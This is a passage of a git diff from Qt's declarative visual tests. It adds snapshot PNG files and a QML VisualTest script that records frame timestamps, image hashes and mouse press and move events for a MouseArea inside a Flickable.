+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-flickable.6.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-flickable.7.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-flickable.7.png
new file mode 100644
index 00000000..15f0ec5c
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-flickable.7.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-flickable.8.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-flickable.8.png
new file mode 100644
index 00000000..15f0ec5c
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-flickable.8.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-flickable.9.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-flickable.9.png
new file mode 100644
index 00000000..71bf9cd8
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-flickable.9.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-flickable.qml b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-flickable.qml
new file mode 100644
index 00000000..c8626782
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-flickable.qml
@@ -0,0 +1,5127 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "mousearea-flickable.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 48
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 64
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 80
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 96
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 112
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 128
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 144
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 160
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 176
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 192
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 208
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 224
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 240
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 256
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 272
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 288
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 304
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 320
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 336
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 352
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 368
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 384
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 400
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 416
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 432
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 448
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 464
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 480
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 496
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 512
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 528
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 544
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 560
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 576
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 592
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 608
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 624
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 640
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 656
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 672
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 688
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 704
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 720
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 736
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 752
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 768
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 784
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 800
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 816
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 832
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 848
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 864
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 880
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 896
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 912
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 928
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 944
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 960
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 976
+ image: "mousearea-flickable.1.png"
+ }
+ Frame {
+ msec: 992
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 1008
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 1024
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 1040
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 1056
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 1072
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 1088
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 1104
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 1120
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 1136
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 1152
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 1168
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 1184
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 1200
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 1216
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 1232
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 1248
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 1264
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 1280
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 1296
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 1312
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 1328
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 1344
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 1360
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 1376
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 1392
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 1408
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 1424
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 1440
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 1456
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 1472
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 1488
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 1504
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 1520
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 1536
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 1552
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 1568
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 1584
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 1600
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 1616
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 1632
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 1648
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 1664
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 1680
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 1696
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 1712
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 1728
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 1744
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 1760
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 1776
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 1792
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 1808
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 1824
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 1840
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 1856
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 1872
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 1888
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 1904
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 1920
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 1936
+ image: "mousearea-flickable.2.png"
+ }
+ Frame {
+ msec: 1952
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 1968
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 1984
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 2000
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 2016
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 2032
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 2048
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 2064
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 2080
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 2096
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 2112
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 2128
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 2144
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 2160
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 2176
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 2192
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 2208
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 2224
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 2240
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 2256
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 2272
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 2288
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 2304
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 2320
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 2336
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 2352
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 2368
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 2384
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 2400
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 2416
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 2432
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 2448
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 2464
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 2480
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 2496
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 2512
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 2528
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 2544
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 2560
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 2576
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 2592
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 2608
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 188; y: 41
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2624
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 2640
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 2656
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 2672
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 2688
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 2704
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 2720
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 2736
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 2752
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 2768
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 2784
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 2800
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 2816
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 2832
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 2848
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 2864
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 2880
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 2896
+ image: "mousearea-flickable.3.png"
+ }
+ Frame {
+ msec: 2912
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 2928
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 2944
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 2960
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 2976
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 2992
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 3008
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 3024
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 3040
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 3056
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 3072
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 3088
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 3104
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 3120
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 3136
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 3152
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 3168
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 3184
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 3200
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 3216
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 3232
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 3248
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 3264
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 3280
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 3296
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 3312
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 3328
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 3344
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 3360
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 3376
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 3392
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 3408
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 3424
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 3440
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 3456
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 3472
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 3488
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 3504
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 3520
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 3536
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 3552
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 3568
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 3584
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 3600
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 3616
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 3632
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 3648
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 3664
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 3680
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 3696
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 3712
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 3728
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 3744
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 3760
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 3776
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 3792
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 3808
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 3824
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 3840
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 3856
+ image: "mousearea-flickable.4.png"
+ }
+ Frame {
+ msec: 3872
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 3888
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 3904
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 3920
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 3936
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 3952
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 3968
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 3984
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 4000
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 4016
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 4032
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 4048
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 4064
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 4080
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 4096
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 4112
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 4128
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 4144
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 4160
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 4176
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 4192
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 4208
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 4224
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 4240
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 4256
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 4272
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 4288
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 4304
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 4320
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 4336
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 4352
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 4368
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 4384
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 4400
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 4416
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 4432
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 4448
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 4464
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 4480
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 4496
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Frame {
+ msec: 4512
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 189; y: 42
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4528
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 189; y: 44
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4544
